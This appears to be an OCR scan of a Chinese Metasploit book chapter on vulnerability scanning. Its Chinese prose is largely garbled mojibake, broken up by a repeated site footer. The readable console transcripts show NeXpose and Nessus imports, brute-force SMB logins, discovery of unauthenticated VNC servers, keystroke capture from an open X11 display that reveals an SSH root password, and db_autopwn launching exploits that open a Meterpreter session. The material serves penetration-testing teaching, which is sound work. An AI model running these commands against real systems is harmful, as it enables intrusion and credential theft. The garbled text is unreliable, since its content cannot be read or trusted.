[*] Successfully imported /tmp/host_195.xml

mst > db_hosts -c address,svcs,vulns

Hosts

192.168.1.195 8 2680 default

WRME B R FARFKFER, flERRARESS (CVE) FHMSEER, BITT
THI iy 22

msf > db_vulns

WARBT I, XFpRAE T B REW A Q&M T IRERARKGEERE—AFIFRAT 268
MEFO. ER, XFOMaRA, Realgeait BAivAiEE, FHBFEATERBIIT

42

24 W WwW. 176K u.CoM



T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

H4E RREAME

2 P T A AT

4.2.3 7 MSF #4%l&H 51T NeXpose

M Web 511817 NeXpose AJ AR HA#d FEHEATAMA, I HABIR R IE A ildl 2 . (8 40 B4R
HRAE MSF 4355, 7587 LURI AT Metasploit T3 & 1) NeXpose {4, 76 MSF & H 1758
L =3i0F FRDESE

A THERAGAMAEERES R ZRNESR, KIRBATE M Metasploit §1 /8 81— K B4
i, HHRNAEEIRARENERA SR04, FFHRZ AT, EEH db_destroy W%
Metasploit *F LA FIXUEA, JE4EH db_connect fI# — M HISIEFAE, SR /54 H load nexpose
4N NeXpose iy, T Fix:

mst > db_destroy postgres:toor@127.0.0.1/msf3

[*] Warning: You will need to enter the password at the prompts below
Password:

msf > db_connect postgres:toor@127.0.0.1/msf3

msf > load nexpose

[*] NeXpose integration has been activated
[*] Successfully loaded plugin: nexpose

# NeXpose i NI T RS, FRFEAT LA help S B E LA EAEFREHHS.
WFHR, WA help f5, TREEWERRKMSFIRT, BHBEELIIHTES NeXpose 11— K7
B,

msf > help

M MSF Z3ATARMISE IR/ Z 0T, VR BB B IR %M NeXpose L@, #A
nexpose_connect -h 1] LU <& B NeXpose AT K12 #. 761X B 4k 75 B UL B T F) NeXpose
Pt 4. ORI P #iht, BEFHNLE ok 2%, XRE3NES SSL iF B4,

msf > nexpose_connect -h

[*] Usage:

[*] nexpose_connect username:password@host[:port] <ssl-confirms
[*] -OR-

[*] nexpose_connect username password host port <ssl-confirm»

mst > nexpose_connect dookie:s3cr3t@192.168.1.206 ok
[*] Connecting to NeXpose instance at 192.168.1.206:3780 with username dookie.,.

W R, BULEOR T DI Gy 2 nexpose_sean, 75305 M EH# B4R 1P bl 5 )5 b33 .
XA FA, BATRAL—A 1P Hubb#EAT T HEH, (EARRERERT LIRS0 E A 1P kB
(f 192.168.1.1-254) RRELANELEM 1P Huht, 5% {FF CIDR bbbk =8N TM (0
192.168.1.0/24) .
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BTt T ARBEITAER M2 S 2, AT AN 2 Ath F sk B AT AL 4%, 75 N 24 AT 1) S B BUR R SRR BT o DRIAS I 343 % )
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit ;& ZE R 15/

msf > nexpose_scan 192.168.1.195
[*] Scanning 1 addresses with template pentest-audit in sets of 32

[*] Completed the scan of 1 addresses
msf >

NeXpose AL AUG, VRGATEIRMBIRET N HCLE T ML R. A db_hosts
ATUAFXSELR, WFHR: (FEXMFP, wmHECEH “address” FI#AT T kM
LR 4: DEAE SR

mst > db_hosts -c address

192.168.1.195 8 7 default

msf >

WRAT L, NeXpose & T 7 M. 21T db_vuln 654 8] LA 8ok B R BLEE R E a1 R .

msf > db_vulns

REAR, XU IR G BT R BB IR R B S b A PR SRR A T R B TR
WERwFEE (268 1) SRE. Ak, FRIGABE T EBHRFAGS, LIREES IR TR
B TAE.

4.3 £ Nessus i#H{TIH

Nessus A4 2% 1 Tenable Security (http://www.tenable.com/) #EH!, M4BT EHBELS
Z W Hi 38 2 — . f# il Metasploit f¥] Nessus 45 , 45 7T LLFE MSF 2835 7 3 5139 4% 3 M Nessus
TG R . BETEAE TP, RATFER WA F A HISLZITH Nessus £ 4 28 T A K
FRGE R BHF BT AMORBURE, AR %% KK AR Nessus 4.4.1, XAZEFFHESR
F 34 H AR Sk TSR/ . EBBENR T, REAN TR, fREkaenErgExGt
TAERMEE LB Bl ik

4.3.1 B2H&E Nessus

FEIFLHLF Nessus Ja, TTITARIIMN LRSI, HE 2| hups:/< 4579 IP #al>:8834, B3
WEREE, HEAREZENRENH 25048 RE) Nessus. FREEEEZIME 4-11 FoRm
Nessus ¥ 5.
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Gaor H: A FTHE ORI BE 2 ) 2, AT ARG 2 A P sl BEA T A%, 75 S 24 AT 1) SEBRBOR) N R FEIE A T AT . RIAS S 0 43 k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

BaF WRAME

n Nessus

Reports Reports Bcans Policies Users

B 4-11 Nessus [ F= A

BxE, BEHEANE Reports () KR, XELSFIMHTAQEZTLMRAEMTS. &
FHETRA A W F A2 Scan (FIHD IR, FATEIEUE M A E LT #BEE; Policies
CRR%) JEX-F, A F®W® Nessus FEFAfMN AT & MM Users (FHF) 3HIE, RHTR
INEESE U ) Nessus AR S5 85I F k7

432 £1i Nessus I #ERE
TFERFAREZ AT, PRAGERIE -/ Nessus 14 HB&. F Policies CEBE) kINF [, Aidig
Bl Add G 4l T 4-12 BRI R B a0 .

Roperts Scans Policies Usars

4-12 Nessus FRRIEECEE 1
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Gaor H: A FTHE ORI BE 2 ) 2, AT ARG 2 A P sl BEA T A%, 75 S 24 AT 1) SEBRBOR) N R FEIE A T AT . RIAS S 0 43 k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit 1% WA 1E A

EXBREFFTNREATAMET, XEEIE Nessus (9988 CRH#4 4 .

(1) W 4-13 i, VRF EAFHRIBE — 47 . BAMEA The Works 1E4 11 5% BE 11
BT, XA R AE Nessus ISR . R)5BA AT Next #4.

(2) 5 REREHMITH NeXpose F3#i—#E, BALNMEWMIEE Windows B R, ML
W AREM T H RS EAARRTE . X EIFHRA B RE G AR I AT Next Hedligkat.

B 4-13  Nessus i — i@ FH % ®

(3) ££ Plugins (34> Tim, #RAJLAMKEEH T Windows. Linux. BSD % R H#{F &
il Nessus I HEFTRER . WRIECH S ERLHEE Windows RE, FRAT
CAGH 8 A R A RGemddif: . fEiX 8, RA1Ad Enable All (2#)31H) #4 (£ 4-14
AT ML), 25 A Next 24

Reports Scans Policies Users

@) Alx Local Security Checks
{5 Backdoors

@ Brute forcs afacks

@ Colabuses

@ CGlabuses : XS5

@ cisco
o

B 4-14 %+ Nessus M REEH
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Gaor H: A FTHE ORI BE 2 ) 2, AT ARG 2 A P sl BEA T A%, 75 S 24 AT 1) SEBRBOR) N R FEIE A T AT . RIAS S 0 43 k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Fam B

(4) G i R ms i) B J5 — A Jh 1l 2 Preferences (HIE) TR AiXHE, FRATELLL Nessus
AEH AT ENHL S SUR R & AT 15, eSS RS R e R, SRt
B e B EHEAE . TG, Adi Submit ($848) FREIRIFIRES . FAIniF) SRES R BT
Policies SLIH A, Wi 4-15 Fras.

X! Wisibility Cwner
Private clookie

B 415 EFRININ Nessus H# 5 m%

4.3.3 #1117 Nessus 34

B -NERER S, AT ULEIE DM E RS . H %% Scans (FIH) HIW K,
it Add GRID #HHEFTAHHECE E L. K25 A Nessus iC B LU Ll AR
igrh, FrLlfRIEBAMER, RHEEAIRHRMEFN AT, EF -MHEER, JHASHA#E
FREERTLL T, i 4-16 Fias.

B 4-16 fIEE— Nessus FHHFHLSH

BATE) RO — A M7, BRFEFE T LA A CIDR 3R )bk Rk 4 A
— AN, & F R H AR hE B SO SO B AN B R REHT AR . SRS B AR, Al
Launch Sean (JAz0#) #Hl.

4.3.4 Nessus s

&R, FATE Scan Bl RIRHI N A ¥ 2 Reports TUEIH - Reports UL 478
TH#BES AT RELULRE BB (. SRERATNINIRE 2 KGR Aid Browse
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G5t IR iﬁﬁﬁﬂi&ﬁﬂﬁﬁt%ﬁiﬁﬁ s AT NN 2 At B Bl AT A%, 15 R 24 AT 17 S B AR A R SRR S AT o DRLAS S 35 43 e )
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W R 2% 224 f%ﬁ%ﬂﬁ’ﬁﬂﬁﬁtﬂlﬂ (WWW.17HUAN.COM) K i & 5 Gl % k1615 (BBS.176ku.COM) #LHAH E— &K,

Metasploit i&i% i 15 &

GRS FHATFFOUR, 2R & T 2RI S EMFRNME, Wk 417 Frr.

Las! Update Mar8, 2011 194

Stalus: Compheled

B 4-17 A1 Nessus 13 HEH SR E

#oR: HEE S T RASMEA T Windows KR EH LR34, Nessus ﬁffxik_"ffféﬁ ki
FEIRSPEPOE S P R R

4.3.5 B4 RS Metasploit #E22

BLAE LA 45 R 3 A\ Metasploit HESE

(1) 7E Reports 7 17 fiili Dowload Report ( Fi%iR%) #4l, ‘F&‘Hﬁ#%ﬁéﬁﬁﬁ | 4y B
#EH . Nessus BRI PIFR & SCAFA% K nessus 7T LARE Metasploit AT, SR BATTRE R SC 4% 2R,
HEFERR AR A LRI

(2) 4TH MSF £, {5 db_connect 68 -MNE¥IEE, A5 HA db_import, JHiEdr4
JaE AN L3 AR E A, B RSR AR .

msf > db_connect postgres:toor@127.0.0.1/ms¥3

msf > db_import /tmp/nessus_report_Host_195.nessus
[*] Importing 'Nessus XML (v2)' data '

[*] Importing host 192.168.1.195

(3) 3 TRAUEHAAR EHARFE S EF EHISA, T T AR db_hosts iir4d. X
H#) db_host A&t — AR ESIR, BEAUE T B P b, #9030 AR 5 Ho LUK
Nessus 7 H b5 & BRI £ .

msf > db_hosts -c address,svcs,vulns

192.168.1.195 18 345
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

F4E FEEH

(4) R ER—NERORIFESIR, TUBAASESEASEH db_vulns @4, WF
B

msf > db_vulns

[*] Time: Wed Mar 09 03:40:10 UTC 2011 Vuln: host=192.168.1.195
name=NS5-10916 refs=0SVDB-755

[*] Time: Wed Mar 09 03:40:10 UTC 2011 Vuln: host=192.168.1.195
name=N55-10915 refs=0SVDB-754

[*] Time: Wed Mar 09 03:40:11 UTC 2011 Vuln: host=192.168.1.195
name=NSS5-10913 refs=05VDB-752

[*] Time: Wed Mar 09 03:40:12 UTC 2011 Vuln: host=192.168.1.195
name=N55-10114 refs=CVE-1999-0524,05VDB-94,CWE-200

[*] Time: Wed Mar 09 03:40:13 UTC 2011 Vuln: host=192.168.1.195
name=NSS-11197 refs=CVE-2003-0001,BID-6535

TEBFE R LRI LUK % F R BB R SR, XESEHRIERHIE.
4.3.6 7t Metasploit BER{EA Nessus #HiTH%

WL B TF R R & S ATHR Y, RvTLMER] Zate B Nessus #rifift (Nessus Bridge
plug-in: http://blog.zate.org/nessus-plugin-dev/), Tt Metasploit P #RfE ] Nessus. Nessus B ff
fVFARE LS Metasploit HEZEXT Nessus #EATSE 2 MIFES], HOARRT LUE R 2 17 H16 ., 4R,
EEar LM el it Nessus 3346 5 R BLRIIR A AR IB B2

(1) FIdiE R B 7 FE, & A do_destroy #ir-& M BRILAT M4 2, IH4EH db_connect
B E— AN BB .

(2) AT load nessus M2 H A Nessus ffF, W Fi7R:

msf > db_destroy postgres:toor@127.0.0.1/msf3
[*] Warning: You will need to enter the password at the prompts below
Password:

msf > db_connect postgres:toor@127.0.0.1/msf3

msf > load nessus

[*] Nessus Bridge for Metasploit 1.1

[+] Type nessus_help for a command listing

[+] Exploit Index - (/root/.msf3/nessus_index) - is valid.
[*] Successfully loaded plugin: Nessus

(3) WTLAf#F nessus_help K2 F Nessus HFflifE L FF T H 4. Nessus il LW A
— e R B, BTLLE R nessus_help [ H R ANEF R, IXPEIRAT R BEA AR TR 2L N
THMThEE.
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit &% Wik &5

(4) ¥ Nessus Hri@fF I ah—REm 2 a, L2 H nessus_connenct 48 3R 3R
ff] Nessus fR4$-3% F, W R

msf > nessus_connect dookie:s3cr3t@192.168.1.101:8834 ok
[*] Connecting to https://192.168.1.101:8834/ as dookie
[*] Authenticated

(5) FfEREERT—F, RAaiafmnREie — N Ooa e XA EEr 1D 5, el
H nessus_policy_list %1 1 fiR45- 28 1 A7 CL28 5 LRI 90 SR

msf > nessus_policy list
{+] Nessus Policy List

ID Name Comments

-4 Internal Network Scan

-3 Web App Tests

-2  Prepare for PCI DSS audits
-1  External Network Scan

2 The_Works

(6) BIEARAL P M MG ID 5, REHIA nessus_scan_new 4, HIEF
N ARG ID 5. 3RS A F AR B R IP bk, WFFR:

msf > nessus_scan new

[*] Usage:
[*] nessus_scan_new <policy id> <scan name» <targets>
[*] use nessus_policy list to list all available policies

msf > nessus_scan_new 2 bridge_scan 192.168.1.195
[*] Creating scan from policy number 2, called "bridge_scan" and scanning 192.168.1.195
[*] Scan started. uid is d2f1fc02-3b50-4ede-ab8f-38b0813dd96abaeabs1f312aa81e

(7) H#EFFEE, 7T nessus_scan_status 4 EEEHMIZITHIRA . KX 4R
[AIFI 45 R “No Scan Running (WHIBITHIHEA) 7 B, REAHISE K.

msf > nessus_scan_status
[*] No Scans Running.

(8) HFE R, W LU#EA nessus_report_list fir4-%1 i Nessus o1 B (07T B 63045
WA BT BB ID 5, RJEHIA nessus_report_get 45 ID &4 FRIME, HAZEME
3 A Metasploit £EFE+ .

msf > nessus_report list
[+] Nessus Report List
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

H4®m RRAH

D Name Status Date
074dc984-05f1-57b1-f0c9-2bb80adaB2fd3758887a05631c1d Host 195 completed 19:43 Mar 08 2011
d2f1fc02-3b50-4e4e-ab8f-38b0813ddo6abaeabb1f312aa81e bridge scan completed 09:37 Mar 09 2011

[*] You can:

[*] Get a 1ist of hosts from the report: nessus_report hosts <report id>

msf > nessus_report_get d2fifco2-3b50-4e4e-ab8f-38b0813dd96abaeab61f312aa81e
{*] importing d2f1fco2-3b50-4ese-ab8f-38b0813dd96abaeab1f312aa81e

[*] 192.168.1.195 Microsoft Windows XP Professional (English) Done!

[+] Done

(9) fxfa, WA AT oAb N BEE 67 —#E, R0l DMEF db_hosts #r4>, #iAIRIE
# C#ET FABIEAREP .

msf > db_hosts -c address,svcs,vulns

Hosts

address svcs  vulns

192.168.1.195 18 345
WERCEH R THMARRRESH~HEFNRS RO ER, BRS04 R 2

DT RETHEEME G A T ERZ M ERME. Nid, XX A6 T RAEHE RET T, ¢
FENTHAL A TERAF RO BOR,  1X043 BB BB A 1R 5

4.4 THiFREAME

HATWE EHREILARIFER™ &, ERAEFFMURTEN. Y8 EE W
& LA RIEARY 2 BRI, Metasploit FH7 (€9 VF 5 4 BhBE SR AT LA BY AR 72 BOXRERIFE45 .

R AR LA Metasploit BUERH 2 26 5 FISRBIE B AR/ — 804y . IRV 47E RS
USRI R AT RE S XTI BT R K (AT B, O SRR SEIR CAER AR A A

441 5&iF SMB % F

AT LA H] SMB % #3438 (SMB Login Check) xF K& EHLH A 204875, IF
WMARETEL, IXFREENERNR, BSHEEN, AT KSR RS Windows +
BLARZG O E DB FRE.

1 use M &IEFFE T smb_login BiRJF, YRA[LLIZ4T show_options 14 & &S K%, L
KWL SR L7 . Metasploit A VFRIEER P A O4 A S, A LFRMOLF)RNA
7, RATHEPREENAS HPENO45%, RAPLAFIRNO4A). £ F @i,
A RHOST S2HiE A —/NB P #usit, RiGEA—EEMOA 404, ik Metasploit
o i B 4 BT ENUEET & R =R
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit EE MR 5

msf > use auxiliary/scanner/smb/smb_login
msf auxiliary(smb_login) > show options

Module options:

Name Current Setting Required Description

PASS_FILE no File containing passwords, one per line

RHOSTS yes The target address range or CIDR identifier

RPORT 445 yes Set the SMB service port

SMBDomain WORKGROUP no SMB Domain

SMBPass password no SMB Password

SMBUser Administrator no SMB Username

THREADS 50 yes The number of concurrent threads

USERPASS_FILE no File containing users and passwords separated
by space, one pair per line

USER_FILE no File containing usernames, one per line

msf auxiliary(smb_login) > set RHOSTS 192.168.1.150-155
RHOSTS => 192.168.1.170-192.168.1.175
msf auxiliary(smb_login) > set SMBUser Administrator
SMBUser =» Administrator
mst auxiliary(smb_login) > set SMBPass s3cr3t
SMBPass => s3cr3t
msf auxiliary(smb_login) > run
[*] Starting host 192.168.1.154
[*] Starting host 192.168.1.150
[*] Starting host 192.168.1.152
[*] Starting host 192.168.1.151
[*] Starting host 192.168.1.153
[*] Starting host 192.168.1.155
O [+) 192.168.1.155 - SUCCESSFUL LOGIN (Windows 5.1) 'Administrater® : 's3crit’
[*] Scanned 4 of 6 hosts (066% complete)
[*] Scanned 5 of 6 hosts (083% complete)
[*] Scanned 6 of 6 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(smb_login) >

EO PR PT LLE 2 H H 2 Administrator F1114 s3cr3t M EFI T —4 30 L. #
REAAR, THEHTEINMRERSZEFTEER - MEBTETERN, FXNTTENRS
b, EEAOSBAHTREE —FK, TNT —MASE, HRETEEEE NS e
HIVF R B PR o

442 HAEFHHVNCE=AOS

VNC (REFAMIR TS =24 T BBAKER ARG T AR, E ST RCIT AR mE R
. ERZAFTE VNC KIZEMAF N, FREROE TRV A RS 280 TIEE /R mKE
12, HAIERETTE. REFK VNC A THRRIEL R SR 235K, AERTEEERNS
SR EMER, AMB FRITHTH VNC B, KB —MEERNHBERF. Metasploit
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Gaor H: A FTHE ORI BE 2 ) 2, AT ARG 2 A P sl BEA T A%, 75 S 24 AT 1) SEBRBOR) N R FEIE A T AT . RIAS S 0 43 k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

F4F WEEHE

AWEM VNC 2 141558 aT LLxt —BE 1P #ohbdE AT, P RRARRE QL8 VNC R
. BAEEWRTHES Lk, B MIFRBENRNN HFREREN&T A
ER - VI F B

2R RATHEAL VNC BREZARFAAEATOS, o R ARG DRI P 52—
AN BRGNS, AR A AR B AR AR E) VNC IR £ 8, 4o RealVNC4.1.1.

%K L ¥ Metasploit FHBIEIH 8, VNC RS ERIZITRE S . vac_none_auth fiy
A T I ME— S EUR SR — e — B 1P bk AR A AR, & AR RHOST (it
FEFEHL) Al THREAD (2%, wRRA B EUBAERIETT AT e iT i ®), REHITHE
B, WEFTR:

msf > use auxiliary/scanner/vnc/vnc_none_auth
msf auxiliary(vnc_none_auth) > show options

Module options:

Name Current Setting Required Description

RHOSTS yes The target address range or CIDR identifier
RPORT 5900 yes The target port

THREADS 1 yes The number of concurrent threads

msf auxiliary(vnc_none_auth) > set RHOSTS 192.168.1.155
RHOSTS =»> 192.168.1.155
msf auxiliary(vnc_none_auth) > run

[*] 192.168.1.155:5900, VNC server protocol version : RFB 003.008
[*] 192.168.1.155:5900, VNC server security types supported : None
O [*] 192.168.1.155:5900, VNC server security types includes None, free access!
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(vnc_none_auth) >

R R R EIB K15, Metasploit I] fES ARIRE| — &8 141 VNC R38O, XHYRAT
BA{# H Back|Track ) vneviewer, ##:H|HbrEHL LR E O4 ) VNC IRF-%5, WHE 4-18 Fios.

TightVNC: V-XPSP2-BARE

Bl 4-18 {3 vneviewer TR B E D41 VNC R& 3%
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BTt T ARBEITAER M2 S 2, AT AN 2 Ath F sk B AT AL 4%, 75 N 24 AT 1) S B BUR R SRR BT o DRIAS I 343 % )
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit &% ik 155

RAE—F, WMREHEA—IK VNC R0 LR %R, BAKEEASKIER T I
B VNC B&MZAS. 7E—KH EFANBFENR KRB EML AR, ABH—AEFER
BB RG A & I VNC RS 2% .

2 FTEE R H CRRIIN, fFEEE A EERERXE EN. 4 ERFENS, &
KAl REERA M EAFRANLS. T REBEERS —AMREFMIANRE (XAMMA—ERE
BRAMFEE), M it FARTF S EEREEIHARERIT T —IKRIE. XUARE BB
L, MBS THEEE, HERESMEE—-KERZA T AR VNC RGHE. FTHRERRKIERN
B

% F: RAELE? LRAEER? KAEFEA LML,

Kk BERAMBY, T, RAEFEH LT

o E BELRARIED? RATESAN AN RERTET.

kA RKIBHSMIEALA R RAZHRIE DR, ey R RAE, S EERKAE T D2
MR —4), hBERT? £22%.

o RMOXAH KR e, shBEAASE. RLAELSF, WAEL6 Y.

KkF: REALEY, SMINCRRAEKET, BAEFA MBI 2LE, FB—TF
Btk RET—A “VNCHES", AXABLAATRSE VNCIREFE, FREIARFX—6
BAEE,

% F: vk, RABET, AT LAEH? RETHRD? hASFHFREE—T?

kA KAM—F 4L PureBasic #i5 E B8, iEEAgiTHIee AR, AELHTAEA.
Rt KA FTIAE BARE T —H., KRIRG A4S —AF REHH T TFREF, R F
Bl — 3k B 44 T # M 35355 PureBasic # %% & :P.

#oH KEET. RTAIEE 43 irc 8 pastebin M35k, METIAR S B4, KA
A A it PureBasic, A A if Python #= Perl.

wEE: i RAA, KA&—TFIRIH8 pastebin M3kieei bk, FRILoH, KB Lak,

MG Az K & &4 T H# — A pastebin M R #9448, B @ LIE 6 VNC 24 B 69 T HER
KD,

4.4.3 PAWMFFMEY X11 AR 2§

Metasploit (¥ B open_xI1 1985 vnc_auth PRI, & FIERES7E —HE EHL+ KB
X11 BR5 28, ZME R AR ER S HAERIER. RE X1 RESEFHRIERZE LS
AEIEERT, BF2HZRENANEERE AR, RITHATHR. CBPEBERRER
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

F4T REAE

. [EWARTERTIHAPAFHERIR, ZIHRRGAER MY bR iEse Ty .

IBAT open x1! FIMARMH, HZiT KEHOUMABBIRAL. RFEERE RHOSTS
¥, BALLERM S THREAD 6. AMITGEX Br—BaiEidfE. WER, 7MEk
IP Hihik 192.168.1.23 Ab3RE| T — M TFHUN X MR B 2% XR—AFENRR, EAEARFLELE
AT BAXS RGEEAT RBALHI VT ). X RGBS SARFI R AR SCHREAE A AT B TE AL JR1T

msf > use auxiliary/scanner/xil/open_x11
msf auxiliary(open x11) > show options

Module options:

Name Current Setting Required Description

RHOSTS yes The target address range or CIDR identifier
RPORT 6000 yes The target port

THREADS 1 yes The number of concurrent threads

msf auxiliary(open x11) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24

msf auxiliary(open_x11) > set THREADS 50

THREADS => 50

msf auxiliary(open_x11) > run

[*] Trying 192.168.1.1

[*] Trying 192.168.1.0

[*] Trying 192,168.1.2...

[*] Trying 192.168.1.29

[*] Trying 192.168.1.30

[*] Open X Server @ 192.168.1.23 (The XFree86 Project, Inc)
[*] Trying 192.168.1.31

[*] Trying 192.168.1.32

. - « SNIP . . .
Trying 192.168.1.253

]

] Trying 192.168.1.254
] Trying 192.168.1.255
]

W BATEF Bt A& R A XN R IR M4t 4 . BU/EE Back|Track i xspy T B3 H b5
RIS MAEITIER, TR

root@bt:/# cd /pentest/sniffers/xspy/
root@bt:/pentest/sniffers/xspy# ./xspy -display 192.168.1.23:0 -delay 100

ssh root@192.168.1.11(+BackSpace)37
sup3rs3cr3tp4ssword

ifconfig

exit
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit i&i% Rt &

Xspy 1 FLAESSERE MR T X R %5 28 AR AL BRAE, JFdR T3 7 (A SSH LA root 57
BFRG -AERAGHERE, KPS TERO4L. EHMRFETEEEFL, B BERN,
EAIRBME.

4.5 FIRAAMERFITENEEE

TR BB RHH M ENY, Metasploit Y Autopwn T REEH Bk HAR, I
FIH B I D eI RS R, 0 B AREHT BB E G . PR AT LAR A K 2 i 14
% (f34% NeXpose. Nessus UL K OpenVAS) 145 KAT Autopwn.

1K B ARl 4 R BN B Nessus H#8E RE AL — D RGO HAT A b B UG .
i db_connect #ir 4RI AN FEARE, HEA db_import B4 S AR S . TERGIT, Al
iZ1T db_autopwn W4, EANGESAET-RIFXSE: MNFHHEREEE (e, BnirE
DUAL MR (), {EFH R shell FIXEEEA (), MBRWFEEBRIEER ), REBFEEHRD
TR (p). db_autopwn 4 3 5h/G, Metasploit FFaaxt H b BBy, WIRBE L,
23R [A]— AP Bk vt P2 6 shell.

msf > db_connect postgres:toor@127.0.0.1/msf3
msf > db_import /root/nessus.nbe
msf > db_autopwn -e -t -r -x -p

© [*] (2/72 [0 sessions]): Launching exploit/windows/mssql/ms09_004_sp_replwritetovarbin
against 192.168.33.130:1433...
[*] (2/72 [0 sessions]): Launching exploit/windows/smb/psexec against 192.168.33.130:445...
[*] (3/72 [0 sessions]): Launching exploit/windows/smb/ms06_040 netapi against
192.168.33.130:445...

. SNIP . . .

[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (718336 bytes)

® [*] Meterpreter session 1 opened (192.168.1.101:40912 -> 192.168.1.115:15991)
[*] (72/72 [1 sessions]): Waiting on 2 launched modules to finish execution...
[*] (72/72 [1 sessions]): Waiting on 0 launched modules to finish execution...

W bR, BTEBERAER, Autopwn RET 72 KBEBERHO, HPH | IREEHMI)
O©. TEXWEINHIBET, BATHIH Meterpreter #4H & KB T @B i WAL 2V MR, X
F Meterpreter BATHESE 6 TP EH TR,

{2 127 Autopwn B LR FEZE B R, L1kdesh Autopwn “NXE” HHRIE, B
WEAETHRAHFAERREE, §TERPR, X 2Rt Autopwn A —3 52 B Jh et AT
A48, Wi Tl it “BRA” BAHRHFERITHE, XL LK E— BT ERARRLE
RIRFe9 ., 2R THRES Autopwn #1428 7 ik, 4RTeldr A db_autopwn h #HATEF .
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BTt I AT ORM L% S 2 AT AR 2 A B B AT A 4%, 5 I 24 AT 1) SEBRABCR) N AR FHV R ST o DRIAR St 38 40 W o)
KT HABLEA, WA BB bR R BOR AR R S BUR LI TR 2 Ak, WO S &, FKG L RT-F DAL . 15T R IERR To4E, SZFrE
2% 22 4o TR T e b I (WWW.17HUAN.COM) KR & 5B %t (BBS.176ku.COM) FLEEH AR HE E—A G5

R
BB 2 e

BEW T RVFE ZALTFAEMINTRIR A E PSR ETN “ 1", RIEREN ELE
FIR AR R BB RREZ b, 286 -FRENERBER, BEANESAASARK. B
R LA R BB HHARI T KERRE, HEZHKRSE SR T BRI SN 32
{8 A 85 L 8B Bk F BUESR A LA AR T . AR FE D, RATIEM Metasploit HESEREEA [ iy & &
OFF R, BPNA R - EERANBERL T E. AFITRAOASEBLNEE X BRETE
